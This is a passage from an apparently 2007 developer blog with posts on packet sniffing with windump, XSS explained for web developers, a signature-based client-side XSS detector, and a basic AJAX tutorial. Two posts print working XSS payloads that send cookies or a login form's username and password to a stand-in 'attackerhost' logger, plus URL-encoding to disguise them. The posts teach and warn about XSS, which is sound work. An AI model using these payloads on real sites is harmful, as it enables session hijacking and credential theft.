02:40:05.675251 IP ik-in-f83.google.com.80 > IBM.7644: . ack 1574 win 7300

E..(....2..`B.[S...d.P...o..2N<.P...-.........

02:40:05.678431 IP ik-in-f83.google.com.80 > IBM.7644: . ack 1574 win 7300

E..(.   ..2.._B.[S...d.P...o..2N<.P...-.........

02:40:05.721961 IP ik-in-f83.google.com.80 > IBM.7644: P 1:363(362) ack 1574 win

 7300

E....

..2...B.[S...d.P...o..2N<.P...s`..HTTP/1.1 200 OK

Cache-control: no-cache,

02:40:05.882612 IP IBM.7644 > ik-in-f83.google.com.80: . ack 363 win 64331

E..(.j@........dB.[S...P2N<..o..P..KMQ..

 

Here we can see only http requests through port 80 and as we can see some GET and POST requests done by an ajax script in my current open gmail account page in the browser. Sounds cool? What if I wanted to scope it more down to a specific host say google? Here is how

C:\Documents and Settings\Fady Anwar\My Documents>windump -i 2 -A port 80 and ho

st ik-in-f83.google.com

windump: listening on \Device\NPF_{77CA943D-EF42-4CAD-BB99-1D1BAE8E9B4B}

02:46:44.135367 IP IBM.7644 > ik-in-f83.google.com.80: . 844094006:844095466(146

0) ack 3178220690 win 65174

E....6@........dB.[S...P2O.6.o..P.......POST /mail/channel/bind?at=89efb89bc308e

74

02:46:44.135398 IP IBM.7644 > ik-in-f83.google.com.80: P 1460:1646(186) ack 1 wi

n 65174

E....7@........dB.[S...P2O...o..P...?...:S=Cz4teXOfD6Vd2qZB; S=gmail=JwxKo2gP3de

kv

02:46:44.135491 IP IBM.7644 > ik-in-f83.google.com.80: P 1646:1699(53) ack 1 win

 65174

E..].8@....     ...dB.[S...P2O...o..P...<...count=1&req0_type=i&req0_time=920053

63&req

02:46:44.325534 IP ik-in-f83.google.com.80 > IBM.7644: . ack 1646 win 6544

E..(......j.B.[S...d.P...o..2O..P...z.........

 

Now all the packets sniffed are only being exchanged with only one host and we can see google POST and GET requests

I hope you enjoyed this walkthrough for more information in detail about the use of windump you can read the full manual

Thanks for reading

posted by Fady | 11 Comments

Anti XSS AJAX

XSS have became a problem that most web developers still suffering from it tell now, simply because however you try hard to validate every user input it only takes a single line of code that prints out the user input without validation to render your whole application vulnerable to XSS attacks and once you are vulnerable several attacks methods can be applied on the users of your web application some of these attacks like the one I’ve demonstrated before can be really dangerous and undetectable. As we all know that perfect code is an illusion and also we all know that several bugs pass the testing phase without being detected especially if the testers were testing without security in mind so it’s very normal to have a web application that is vulnerable to XSS attacks even after testing several times. So what about a risk mitigation plan to avoid XSS attacks in case some XSS vulnerabilities showed up after the product have been deployed in live environment? Imagine if we can have a nice safe valve that can stop a catastrophe from happening, but how? This is a good question and to answer this question we have to think about the following:

1-    The XSS attacks basically happen in the client side.

2-    The XSS attacks usually happen using java script.

After considering the previous two points we can conclude that to stop a XSS attack that passed through our server side defenses and validations we need to stop it in the client side and because XSS attacks basically depends on java script which means the existence of <script> tags in the attacker code. So now we can get a conclusion that to stop XSS at the client side we can use java script to filter the return HTML from the server to identify attacker java script and warn the user about it or even warn the site admin about it so s/he can become aware of the attack so s/he can do something about it. But the real question now is how to identify the attacker java script from our legitimate java script? Well, we can do this by supplying something like a signature with our legitimate java script so we can identify it from the malicious attacker java script that have been injected in our web application pages and we can use another java script that will filter the page content to identify the unsigned java script as the attacker script and take some action about it in the client side whenever it’s founded, here is an example

<body>

<html>

<?

//our signature will be a random number generated by the server

$signature = rand();

?>

<!-- here is our legitimate script with the signature as its element id -->

<script id="<? echo $signature ?>">

alert("hello world")

</script>

<!-- here is the injected attacker script that doesn't have the signature -->

<script>

alert("evil code")

</script>

<!-- here is a more evil script where the attacker will try to imitate the signature -->

<script id="1234">

alert("more evil code")

</script>

<!-- here is the script that will do the check and of course it have the signature too -->

<script id="<? echo $signature ?>">

//here we gather all the script tags elements in one array

var scripts = document.getElementsByTagName("script")

for(var i = 0; i < scripts.length; i++)

  if(scripts[i].id != null)

  {

    //then we compare it with our signature if it have one, if it’s invalid we warn the user/admin

    if(scripts[i].id != <? echo $signature ?>)

      warn(scripts[i].innerHTML) 

  }

  else //else if there is no signature in the 1st place we warn the user/admin

    warn(scripts[i].innerHTML)

 

function warn(attackscript)

{

  //here we create our XMLHttpRequest object

  xmlHttp=GetXmlHttpObject()

  //and here we create a request string to our logger script then send the attacker script

  //to be logged for later analysis so we can tell what exactly happened

  var url="http://host/logger.php?attackscript=" + attackscript

  xmlHttp.open("GET",url,true)

  xmlHttp.send(null)

  //then we warn the user about what is going on and advice him/her to change his/her password

  alert("put your favorite warning message here")

}

//the rest of this code is the code that is responsible of creating

//the XMLHttpRequest object for different browsers

function GetXmlHttpObject()

{

  var xmlHttp=null;

  try

    {

    // Firefox, Opera 8.0+, Safari

    xmlHttp=new XMLHttpRequest();

    }

  catch (e)

    {

    // Internet Explorer

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

    }

  return xmlHttp;

}

</script>

</body>

</html>

In this example we used the rand() function to generate a random number that is used to sign every java script in the page to identify it from the other malicious scripts where malicious scripts when found the user can be alarmed and advised for example to change his/her password while the malicious script content is sent to the logger script that may look like this

<?

$file = fopen("log.txt","a");

$timestamp = date("D dS M,Y h:i a");

fwrite($file, "$timestamp\n");

fwrite($file, "$attackscript\n--------------------\n");

fclose($file);

?>

Which can log the malicious script contents so the site admin can analyze the attack later. The log file will look something like this

--------------------
Fri 20th Jul,2007 12:38 am
alert(\"evil code\")
--------------------
Fri 20th Jul,2007 12:41 am
alert(\"more evil code\")
--------------------

 

Also we can log other more important information such as the referral URL where the user got this link from so we can know how the attack is done weather it’s by mass mail or other means also we can log the user name so we can contact him/her to help him/her or to get more information from him/her about the attack.

As we can see using ajax programming techniques can help us for early warning and it will make it harder for the attacker to test your application for XSS vulnerabilities without you being aware of it. But this technique have a very big draw back that it only warns the user after the damage is already done and that is because the very nature of java script of being a sequential scripting language that is loaded by the browser from the web server sequentially thus our warning script must be at the end of the web page so it loads the last thing after the whole page is loaded so it can parse the scripts that have loaded before it otherwise it won’t be able to parse the scripts that didn’t load yet, yes we can make it wait or run every little interval of milliseconds while the page is loading, but for sorry we won’t be able to run it exactly when the malicious script is loaded and before it’s execution. Being in the end of web page means it will run the last after the attacker code have already done the damage or maybe also redirecting the user to another page before our warning script is executed. There would be a very good solution for this if java script supports sleep() function so it can be the in the page beginning and start a sleep tell the whole page is loaded then parse the page thus not allowing any other java script to until is validated but for sorry sleep() function is not supported is java script, there is a solution to this but not very practical where the script will enter a loop tell the page load then start parsing the page but this solution will take 100% of CPU usage and users will hate your web page because it will lag there machines. Another solution is to fully ajax the web page and request the page HTML content using XMLHttpRequest object and update the page with it every time a user clicks a new link then validate the java script in it, but that would require too much ajax work.

I hope you liked this article and I’m waiting for your feedback and comments

Thanks for reading

 

kick it on DotNetKicks.com
posted by Fady | 27 Comments

The Dark Side of AJAX

Hello guys,

Today we are going to talk about a very interesting topic. As we are all now are accustomed with ajax and it’s new programming techniques I want you to imagine this, imagine if the ajax techniques have been combined with the common old hacking techniques, what are we going to get?

For example we have talked before about XSS vulnerabilities and how they work so imagine this that if we used ajax to exploit an XSS vulnerability that does exist in some web application, what can we get?

Say we have a web application that is vulnerable to XSS in its login page that looks like this

<html>

<body>

<form method="post" action="login.php">

User:<input type="text" name="user"><br>

Pass:<input type="password" name="pass"><br>

<input type="Submit" value="login">

</form>

</body>

</html>

<?

//some code to do the authentication then sets our $authenticated flag

if(!$authenticated)

die("Sorry the user $user doesn't exist in our database or the password is not correct");

//rest of code

?>

As we can see here we have an obvious XSS vulnerability here in the die() function where it prints out the user name directly without any filtration before outputting it to the user. So we can simply attack the users of this page by sending this url

http://host/login.php?user=<script%20src=http://attackerhost/attackscript.js></script>

Where attackscript.js is a script on the attacker host that will contain his really big attack script that is using ajax techniques. I’ve ignored using quotations deliberately to bypass the magic quotes protection from XSS that PHP have.

Also to make harder to detect by experienced users we can encode this url so it can look like this

http://host/login.php?user=%3Cscript%20src%3Dhttp%3A//attackerhost/attackscript.js%3E%3C/script%3E

 

You can use this java script to encode yours

 

<html>

<body>

<input id="in" type="text">

<input id="out" type="text">

<input type="submit" value="encode" onclick="encode()">

</body>

</html>

<script>

function encode()

{

document.getElementById("out").value = escape(document.getElementById("in").value)

}

</script>

 

So now let’s move to the ajax part, I’ve already managed to load my big java script file into the browser of my victim so what’s next? Why use ajax?

Well, this is a good question indeed, as one of the most famous features of ajax that it runs asynchronously which means from the hacker aspect being undetectable by the user, the second most famous feature is that ajax can make server side calls with the XMLHttpRequest object and this means from the hacker aspect the ability to do actions like logging the user sensitive data without the user being aware of it or submitting server side requests on behalf of the user while using the user credentials and in the same time without any intrusion detection tool (like a firewall for example) can stop him/here as the attacker can send these data tunneled in HTTP requests on a port that is already opened by the user and with an application that is approved by the user to run and connect to the internet which is this case is the user web browser.

So say that we used this code in our attack script

 

//this is function which will be called when the user clicks the login button

document.getElementsByTagName("input")[2].onclick = function logdata()

{

  //here we create our XMLHttpRequest object

  xmlHttp=GetXmlHttpObject()

  //and here we create our request string to the attacker host logger script

  //sending it the user name and password of the attacked victim

  var url="http://attackerhost/logger.php?user=" + document.getElementsByName("user")[0].value + "&pass=" + document.getElementsByName("pass")[0].value

  xmlHttp.open("GET",url,true)

  xmlHttp.send(null)

 

}

//the rest of this code is the code that is responsible of creating

//the XMLHttpRequest object for different browsers

function GetXmlHttpObject()

{

  var xmlHttp=null;

  try

    {

    // Firefox, Opera 8.0+, Safari

    xmlHttp=new XMLHttpRequest();

    }

  catch (e)

    {

    // Internet Explorer

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

    }

  return xmlHttp;

}

 

So now when ever a user clicks the login button the ajax method logdata() will be invoked to send the user name and password to the attacker logging script then redirect the user normally to the next page without any suspicious actions that can alarm the user and force him/her to change his/her password immediately.

Other things can be also done in other scenarios for example if the XSS vulnerability does exist in any other page where the user can access only when s/he is authenticated then an attacker can change the request url in his/here attack script to request any other authenticated page and submit any action with the credentials of the victim user say for example to make a bank transaction to the attacker account or send by mail the exploit url to all of the victim user contact list on that web application. Also the attacker can read the clipboard of the victim user while the user is still having the vulnerable page open and then send the clipboard content to his/her logger script every 5 seconds for example (that only can happen if the browser doesn’t warn the user about this page is trying to access his clipboard).

I hope you liked this article and I would appreciate any feedback or comments, if you have any question you can submit it here in a comment and I will answer it later once I’ve time

Thanks for reading

 

posted by Fady | 132 Comments

alert(“XSS”)

XSS? What is XSS? Well, to cut it short XSS is the abbreviation of  Cross Site Scripting  but the C have been replaced with X because CSS already means Cascaded Style Sheets plus XSS is a much cooler name ;) so what is XSS again? Well in more detail XSS is a very common vulnerability that may be existing right now in your very own web applications, so that’s why I have to come here to warn you about it. In a more simple words XSS is the ability of an attacker to inject code in your web page html and cause it to run on the user browser whenever s/he opens your page. This code might be html, java script or even worst like VBScript or ActiveX components that install trojans/worms on the user machine (but they will require the user to accept its installation first or they might use a known browser vulnerability to download them selves without the user being aware). So what can an attacker do if s/he founds an XSS security hole in your web application? Well, s/he can do a lot of things including but not limited to the following

·        Stealing user cookies

·        Stealing user sensitive data

·        Redirecting the user to a phishing site that might delude him/her to supply his/her credentials to the attacker site

·        Hijacking the user session

·        Deluding the user into downloading trojans or worms onto his/her machine

·        It could be even worst if your web application is running on an intranet which means the ability of the injected code to run in the trusted zone mode and this is really dangerous

 

So how XSS does look like?

Well, the simplest form of XSS is when code looks something like this

<?

echo $query;

?>

Yes it’s a one line of code but believe me it’s the worst of all as this PHP single line script function is to simply print the user input through the query parameters right into the browser without any validation or verification to the data that have been entered by the user, most developers would think what is wrong with that? Most developers don’t see a problem in forwarding the user input to the same user again as long it won’t be entered into a database or processed in any way. Most developers when they think about security they think that the users are always whom might be and might not be the enemy and there software is always is the attacked victim and they forget about that the users are on their side too and they also could be victims. Most of developers don’t see a problem in forwarding users input to them again as simply even if a user have typed in a malicious code it will get back to him and it will be something like shooting him self in the foot so why would users do that? And why the extra effort to validate the user input that is going back directly into the user browser again without any interaction with any critical components in the web application?

Well, all of these questions have a valid point of view “if” the user is the one whom is typing in a malicious code in the query string of this script. Let us consider this, a user getting a mail that having a link of your script that looks like this

http://host/script.php?query=<script>some malicious code</script>

And the user has just clicked this link with its crafted query string that would simply inject this code into the user browser to be executed on the user machine, this code might contain any thing and it will be executed without the user being aware of it and most of anti virus software won’t stop it.

This malicious code could look like this

http://host/script.php?query=<script>window.location = “http://atacker/logger.php?log=” + document.cookie</script>

So it would forward the user to the attacker host and send his/here cookies information to the attacker host where it’s logged for later user by the attacker so s/he could use these cookies to authenticate with your site with the identity of that user. The attacker could also redirect the user to a page with a page that looks exactly like your login page that is asking the user to supply their credentials so the attacker can log them in a database for later user. The attacker could even deceive the most suspicious users whom always check the current URL they are visiting by injecting the login page html content in the vulnerable page and ask the user to supply there credentials. The attacker can even inject in a bigger script files by doing this

http://host/script.php?query=<script src=”http://attacker/attackscript.js”>

So the attacker could inject in bigger scripts that can do worst things like submitting user GET or POST request with the same user credentials that might for example make a bank transaction or send some confidential data to the attacker it could even log the user requests and actions while using the vulnerable web page and send them back to the attacker using asynchronous java script http calls so the user won’t be aware of it.

But come on, that URL is so suspicious, no user would be stupid enough to click on it.

Well, that is a good point, but beside that most users don’t understand java script or don’t even care to interpret what is in the query string, most users would click this URL if it have been sent to them in a fake mail that is claiming that it’s coming from your site and it’s looking like this

<a href=”http://host/script.php?query=<script src=’http://attacker/attackscript.js’>”>Click Me</a>

 

Also the URL could be encoded to look like this

http://host/script.php?query=%3Cscript%20src%3D%u201Dhttp%3A%2F%2Fattacker%2Fattackscript.js%u201D%3E

So it would be impossible for even an experienced user to even have a grasp of what is going on.

All of this because of a none validated line of code, but where would this line of code exist in our day to day web applications?

Well it might in exist in code similar to this one

<?

echo "Sorry your search for $query did not return any results";

?>

or this code

<?

echo “<img src=\”$id.jpg\”>”;

?>

I think you got the idea.

 

I hope you liked this article and I’m all waiting for your feedback and your comments so they can help me in writing the next part of this article

Thanks for reading

 

 

 

 

kick it on DotNetKicks.com
posted by Fady | 12 Comments

Let’s talk pure ajax

      Hello guys, today I’m going to talk about ajax but lets 1st explain this strange expression in this article title “pure ajax”, actually it’s an expression that I’ve came up with after very different incidents that convinced me to use this expression to differentiate between ajax and what people call ajax as a misconception. So the 1st question that would pop up what is ajax in the 1st place? Ofcourse lots of us I assume know that the acronym ajax stands for asynchronous java script and XML but lets explain this a little bit more further, XML here means that we would transmit data in the XML format but what about the asynchronous java script? Is it a new type of java script that came out after web 2.0 hype? Yes? Actually the answer is no, I’ve passed by several individuals that think that ajax came “after” the web 2.0 so called hype and they didn’t believe me when I told them no ajax programming techniques was already there covered with dust far before even the expression web 2.0 was invented and actually the expression asynchronous java script is all about an object called XMLHttpRequest that supports that a java script can send a GET or a POST request to a web server through the http protocol asynchronously or synchronously. So to use ajax then you have to transfer data using XML format using the http protocol with asynchronous calls that is very simple and clear and straight forward as it could be BUT in the last year (and half?) several ajax frameworks have been developed including the asp.net ajax framework to ease the use of ajax in web applications rather you are using php or asp.net (ofcourse there was non famous frameworks for other programming languages) the frameworks actually had it’s advantages and disadvantages and ofcourse there main advantage would be the ease and productivity while making a web application that uses ajax but these frameworks have put up a very severe misconceptions that sometimes people would think that ajax is not java script and sometimes other people would think that every control in these ajax framework that uses java script is ajax for example a timer control is not ajax because it doesn’t make server side request at all. But beyond all of this there was the biggest misconception at all that several people thought that just by adding some ajax framework controls to there asp.net page would somehow magically speed up the page load time ignoring the basic mechanisms of ajax working. So let’s state this clear before we commit any other move

ajax is java script that is using asynchronous server side requests to send or receive data in the form of XML format”

 

Now after we stated that we will walk through how to make your 1st ajax hello world script. But before I start I would like to mention that after discussing with lots of people whom have tried to convince me that how hard and useless to learn how to write pure ajax code without the use of ajax frameworks I want to draw your attention to this that when you use any ajax framework every time you will load your page you will load it with several js files that have the ajax framework libraries that you are using and these libraries are supposed to do everything you need and you don’t need and they don’t load specifically according to your needs but they just load and most of the time these libraries is at least is in the size of you web page multiplied by 5 times thus once you use these frameworks you have lost the most important advantage that is ajax is all about which is fast page loads more to mention that by learning to write pure ajax you will be able to customize your web pages with a more clear view of what is happening every time your page load more on that after the following walk through we will learn that ajax is no hard to learn and is no miraculous magic

 

So 1st thing to start with is to make our xml web service that our ajax code will communicate with, you can do this easily by opening your visual studio and choose to create a new xml web project (and de-comment the the hello world web method if you are using visual studio 2003) so now you have a web method to start with then build and deploy it to your IIS (I don’t recommend using the development web server that comes with visual studio 2005 for doing this)

So now we have our xml web service all what is missing is to call it using our ajax code. We have two options:

1-     to call the xml web service using SOAP

2-     to call the xml web service using a simple GET request

I find the 2nd option more convenient for a simple hello world ajax script as for the 1st option we have to implement the SOAP protocol which is quite a hard task to do

 

So what is the 1st thing to start our hello world ajax script with? Yes it’s the XMLHttpRequest object but for sorry as you all know that life is not fair and for sorry the XMLHttpRequest does not have the same implementation across most of the browsers so that why we are going to use this script as-is every time we want to create our XMLHttpRequest object

 

 

function GetXmlHttpObject()
{
  var xmlHttp=null;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
      }
    }
  return xmlHttp;
}

 

this code simply tries to create the XMLHttpRequest object for every well known browser and every time it fails it tries another browsers tell it creates the XMLHttpRequest or returns null if it totally fails, actually the most different implementation is Microsoft Explorer browsers as they use ActiveX to create the XMLHttpRequest which is apparently is a Microsoft technology that can’t be used by other browsers that doesn’t belong to Microsoft.

 

So now after we have the function that will create the XMLHttpRequest for us it’s time to put it to some good use

 

//here we create our XMLHtppRequest object

xmlHttp=GetXmlHttpObject()

//then we test if it's equal to null or not just in case

if (xmlHttp==null)

  {

  alert ("Your browser does not support AJAX!");

  return;

  }

//now we will set our request URL to our hello worl xml web service

var url="http://localhost/hello/service.asmx/HelloWorld";

xmlHttp.onreadystatechange=stateChanged;

//then we call the XML web service with our GET request

xmlHttp.open("GET",url,true);

xmlHttp.send(null);

 

By executing t hose few lines of java script you have just made your first ajax call, but is that it? What about the return of our hello world web method?

A good question, do you remember that line

xmlHttp.onreadystatechange=stateChanged;

this line tells our XMLHttpRequest object that when the http connection state change it should call the function named stateChanged as a call back function that will process the response that came from the server, so how will we process that response?

In our case the response will look like something like this

 

<?xml version="1.0" encoding="utf-8"?>

<string xmlns="http://tempuri.org/">Hello World</string>

 

So we have a single tag named string that contains our response so our stateChanged call back function will look like this

 

function stateChanged()

{

//when the ready state change to 4 this means that the server have responded with 200 success

//message with the server response

if (xmlHttp.readyState==4)

{

//so when the server responds back we will extract the output from our xml response like this

alert(xmlHttp.responseXML.getElementsByTagName('string')[0].childNodes[0].nodeValue);

}

}

 

Note: if you are using .net framework 2.0 I guess you will find the get request is disabled by default for xml web services you can use this configuration to enable GET requests and the POST requests too

 

<configuration>

    <system.web>

    <webServices>

        <protocols>

            <add name="HttpGet"/>

            <add name="HttpPost"/>

        </protocols>

    </webServices>

    </system.web>

</configuration>

 

Now you have just made your 1st hello world ajax script, simple and straight forward isn’t? Welcome to the ajax world ;)

 

 

 

 

kick it on DotNetKicks.com
posted by Fady | 6 Comments

testing testing

hello guys

thanks for passing by i'm just testing my new blog :P

well, anyway i would like to take the chance to let you know about my new technical blog where i would blog about every interisting technical issue that would make your brains buzz in infinite loops ;)

posted by Fady | 7 Comments